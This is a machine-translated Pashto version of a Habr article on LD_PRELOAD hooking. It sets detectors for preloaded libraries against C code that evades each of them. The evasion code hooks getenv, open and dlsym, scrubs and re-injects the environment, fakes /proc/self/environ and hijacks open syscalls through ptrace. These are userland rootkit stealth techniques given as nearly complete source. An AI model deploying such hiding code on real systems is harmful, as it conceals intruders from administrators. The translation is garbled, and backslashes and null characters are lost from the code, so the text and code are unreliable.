د LD_PRELOAD په لټه کې

دا یادښت په 2014 کې لیکل شوی و، مګر زه یوازې د هابری تر فشار لاندې راغلم او دا د ورځې رڼا نه وه لیدلې. د بندیز په جریان کې ما د هغې په اړه هیر کړی و، مګر اوس ما دا په مسودو کې وموندل. ما د دې د حذف کولو په اړه فکر کاوه، مګر شاید دا به د یو چا لپاره ګټور وي.

د LD_PRELOAD په لټه کې

په عموم کې ، د "شامل شوي" لټون کولو موضوع باندې د جمعې لږ مدیر لوستل LD_PRELOAD.

1. د هغو کسانو لپاره چې د فعالیت بدیل سره بلد نه دي یو لنډ تحلیل

پاتې نور کولی شي مستقیم ته لاړ شي п...

راځئ چې د کلاسیک مثال سره پیل وکړو:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

موږ پرته له کوم بیرغونو تالیف کوو:

$ gcc ./ld_rand.c -o ld_rand

او، لکه څنګه چې تمه کیده، موږ له 5 څخه کم 100 تصادفي شمیرې ترلاسه کوو:

$ ./ld_rand
53
93
48
57
20

مګر راځئ چې تصور وکړو چې موږ د برنامه سرچینه کوډ نلرو، مګر موږ باید چلند بدل کړو.

راځئ چې خپل کتابتون د خپل فعالیت پروټوټایپ سره جوړ کړو، د بیلګې په توګه:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

او اوس زموږ تصادفي انتخاب د وړاندوینې وړ دی:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

دا چال حتی ډیر اغیزمن ښکاري که چیرې موږ لومړی خپل کتابتون له لارې صادر کړو

$ export LD_PRELOAD=$PWD/ld_rand.so

یا موږ به دا لومړی وکړو

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

او بیا پروګرام د معمول په څیر پرمخ وړئ. موږ پخپله برنامه کې د کوډ یوه کرښه نه ده بدله کړې ، مګر د دې چلند اوس زموږ په کتابتون کې په کوچني فعالیت پورې اړه لري. سربیره پردې، د پروګرام لیکلو په وخت کې، د RAND حتی شتون نه درلود.

څه شی زموږ برنامه جعلي کارولې RAND؟ راځئ چې دا ګام په ګام پورته کړو.
کله چې یو غوښتنلیک پیل شي، ځینې کتابتونونه پورته کیږي چې د پروګرام لخوا اړین دندې لري. موږ کولی شو دوی په کارولو سره وګورو ldd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

دا لیست ممکن د OS نسخې پورې اړه ولري، مګر هلته باید یو فایل وي libc.so. دا دا کتابتون دی چې د سیسټم زنګونه او بنسټیز فعالیتونه وړاندې کوي لکه دابرخه, مالکو, چاپ زموږ RAND هم د دوی په منځ کې دی. راځئ چې دا ډاډ ترلاسه کړو:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

راځئ وګورو چې ایا د کتابتونونو سیټ بدلیږي کله چې کارول کیږي LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

دا معلومه شوه چې متغیر ټاکل شوی LD_PRELOAD زموږ بارولو ته مجبوروي ld_rand.so حتی د دې حقیقت سره سره چې برنامه پخپله ورته اړتیا نلري. او زموږ د فعالیت راهیسې "رنډ" مخکې باریږي RAND от libc.soبیا هغه د مرغۍ واکمني کوي.

ښه، موږ د اصلي فعالیت ځای په ځای کولو اداره کړې، مګر موږ څنګه کولی شو ډاډ ترلاسه کړو چې د دې فعالیت ساتل کیږي او ځینې کړنې اضافه شوي. راځئ چې خپل تصادفي تعدیل کړو:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

دلته، زموږ د "اضافه" په توګه، موږ یوازې د متن یوه کرښه چاپ کوو، له هغې وروسته موږ اصلي فعالیت ته اشاره کوو RAND. د دې فنکشن پته ترلاسه کولو لپاره موږ اړتیا لرو dlsym د کتابتون څخه یو فعالیت دی libdlکوم چې به زموږ پیدا کړي RAND د متحرک کتابتونونو په ډنډ کې. له هغې وروسته به موږ دې فنکشن ته زنګ ووهو او ارزښت به یې بیرته راستانه کړو. په دې اساس، موږ باید اضافه کړو "-ldl" د مجلس پرمهال:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

او زموږ برنامه "اصلي" کاروي RAND، مخکې له دې چې ځینې فحش اعمال ترسره کړي.

2. د لټون درد

د احتمالي ګواښ په اړه پوهیدل، موږ غواړو هغه کشف کړو پریلوډ ترسره شو. دا روښانه ده چې د موندلو غوره لاره دا ده چې دا په کرنل کې واچول شي، مګر زه د کاروونکي په ځای کې د کشف کولو اختیارونو سره علاقه لرم.

بیا، د کشف او د دوی ردولو لپاره حلونه به په جوړه کې راشي.

2.1. راځئ چې ساده پیل وکړو

لکه څنګه چې مخکې یادونه وشوه، تاسو کولی شئ د متغیر په کارولو سره د بارولو لپاره کتابتون مشخص کړئ LD_PRELOAD یا دا په یوه فایل کې لیکلو سره /etc/ld.so.preload. راځئ چې دوه ساده کشف کونکي جوړ کړو.

لومړی یې د چاپیریال متغیر چیک کول دي:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

دوهم دا دی چې وګوري چې ایا فایل خلاص شوی دی:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

راځئ چې کتابتونونه پورته کړو:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

دلته او لاندې، [+] بریالي کشف په ګوته کوي.
په دې اساس، د [-] معنی د کشف مخه نیسي.

دا ډول کشف کونکي څومره اغیزمن دي؟ راځئ لومړی د چاپیریال متغیر ته یو نظر وکړو:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

په ورته ډول، موږ د چک څخه لرې کوو دابرخه:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

هو، فایل ته د لاسرسي نورې لارې دلته کارول کیدی شي، لکه، خلاص64, د دولت او داسې نور، مګر، په حقیقت کې، ورته 5-10 لینونو کوډ ته اړتیا لري ترڅو دوی دوکه کړي.

2.2. راځئ چې حرکت وکړو

پورته موږ کارول getenv() د ارزښت ترلاسه کولو لپاره LD_PRELOAD، مګر د رسیدو لپاره نور "ټیټ کچې" لاره هم شتون لري این وی- متغیرات. موږ به منځمهاله افعال ونه کاروو، مګر سرې ته به مراجعه وکړو ** چاپیریال، کوم چې د چاپیریال یوه کاپي ذخیره کوي:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

له هغه ځایه چې موږ په مستقیم ډول له حافظې څخه ډیټا لوستلو ، نو دا ډول زنګ مداخله نشي کیدی ، او زموږ undetect_getenv دا نور د مداخلې په پیژندلو کې مداخله نه کوي.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

داسې ښکاري چې دا ستونزه حل شوې؟ دا لا تر اوسه پیل دی.

وروسته له دې چې برنامه پیل شي ، د متغیر ارزښت LD_PRELOAD هیکران نور دې ته په حافظه کې اړتیا نلري، دا دی، دوی کولی شي دا ولولي او د هرې لارښوونې پلي کولو دمخه یې حذف کړي. البته، په حافظه کې د سرې ایډیټ کول لږترلږه، د برنامه کولو خراب سټایل دی، مګر دا څنګه کولی شي د هغه چا مخه ونیسي چې په حقیقت کې زموږ ښه نه غواړي؟

د دې کولو لپاره موږ باید خپل جعلي فعالیت رامینځته کړو init()، په کوم کې چې موږ نصب شوی مخنیوی کوو LD_PRELOAD او زموږ لینکر ته یې واستوئ:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

موږ اجرا کوو او چک کوو:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

په هرصورت، حافظه وروستی ځای ندی چیرې چې تاسو بدیل موندلی شئ LD_PRELOAD، هم شته /proc/. راځئ چې د څرګند سره پیل وکړو /proc/{PID}/چاپیریال.

په حقیقت کې، د دې لپاره یو نړیوال حل شتون لري کشف ** چاپیریال и /proc/self/environ. ستونزه د "غلط" چلند دی unsetenv(env).

صحیح انتخاب

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

مګر راځئ چې تصور وکړو چې موږ دا ونه موندل او /proc/self/environ "ستونزه" ډاټا لري.

لومړی راځئ چې زموږ د پخواني "بدبختي" سره هڅه وکړو:

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

پيشو د فایل خلاصولو لپاره ورته کاروي خلاص()، نو حل ورته ورته دی چې دمخه په 2.1 برخه کې ترسره شوی و ، مګر اوس موږ یو لنډمهاله فایل رامینځته کوو چیرې چې موږ د ریښتیني حافظې ارزښتونه کاپي کوو پرته لدې چې لینونه ولري LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

او دا مرحله تیره شوه:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

راتلونکی روښانه ځای دی /proc/self/maps. په دې کې د اوسیدو هیڅ معنی نشته. حل په بشپړ ډول د تیر سره ورته دی: د فایل څخه ډاټا کاپي کړئ د کرښو په مینځ کې libc.so и ld.so.

2.4. د Chokepoint څخه اختیار

ما په ځانګړي توګه دا حل د دې سادگي لپاره خوښ کړ. موږ د دندو پته پرتله کوو چې په مستقیم ډول بار شوي libc، او "راتلونکی" پتې.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

د مداخلې سره د کتابتون بار کول "خلاص()" او وګورئ:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

رد کول حتی ساده وګرځیدل:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. سیسکالونه

داسې بریښي چې دا ټول دي، مګر موږ به بیا هم وځوروو. که موږ د سیسټم زنګ مستقیم کرنل ته واستوئ، دا به د مداخلې ټوله پروسه بای پاس کړي. لاندې حل، البته، په معمارۍ پورې تړلی دی (x86_64). راځئ هڅه وکړو چې دا د پرانستلو کشف کولو لپاره پلي کړو ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

او دا ستونزه د حل لاره لري. څخه اقتباس سړییو:

ptrace یوه وسیله ده چې د والدین پروسې ته اجازه ورکوي چې د بلې پروسې پرمختګ وګوري او کنټرول کړي، د هغې ډاټا او راجسترونه وګوري او بدل کړي. معمولا دا فنکشن د ډیبګ کولو برنامه کې د بریک پوائنټونو رامینځته کولو او د سیسټم تلیفونونو نظارت کولو لپاره کارول کیږي.

د والدینو پروسه کولی شي د لومړي ځل لپاره د فورک (2) په زنګ وهلو سره تعقیب پیل کړي، او بیا د ماشوم پایله کولی شي PTRACE_TRACEME اجرا کړي، وروسته (معمولا) د exec (3) په اجرا کولو سره. له بلې خوا، د والدین پروسه کولی شي د PTRACE_ATTACH په کارولو سره د موجوده پروسې ډیبګ کول پیل کړي.

کله چې تعقیب شي، د ماشوم پروسه هرکله چې سیګنال ترلاسه کوي ودریږي، حتی که سیګنال له پامه غورځول شي. (استثنا SIGKILL دی، کوم چې په نورمال ډول کار کوي.) د والدین پروسه به د انتظار (2) په زنګ وهلو سره پدې اړه خبر شي، وروسته له دې چې دا کولی شي د ماشوم پروسې مینځپانګې وګوري او بدل کړي مخکې له دې چې پیل شي. د مور او پلار پروسه بیا ماشوم ته اجازه ورکوي چې چلولو ته دوام ورکړي، په ځینو مواردو کې هغه ته لیږل شوي سیګنال له پامه غورځوي یا د بل سیګنال لیږل).

په دې توګه، د حل لاره دا ده چې د پروسې څارنه وکړي، د هر سیسټم زنګ څخه مخکې یې ودروي او که اړتیا وي، تار د هک فعالیت ته لیږل کیږي.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

موږ ګورو:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

له تاسو ډیره مننه

چارلس هوبین
ټک ټک
ValdikSS
فیلیپ تیوین
دره

د هغه مقالو، سرچینو او تبصرو زما په پرتله ډیر څه وکړل چې دا یادونه یې دلته ښکاره کړه.

سرچینه: www.habr.com

Add a comment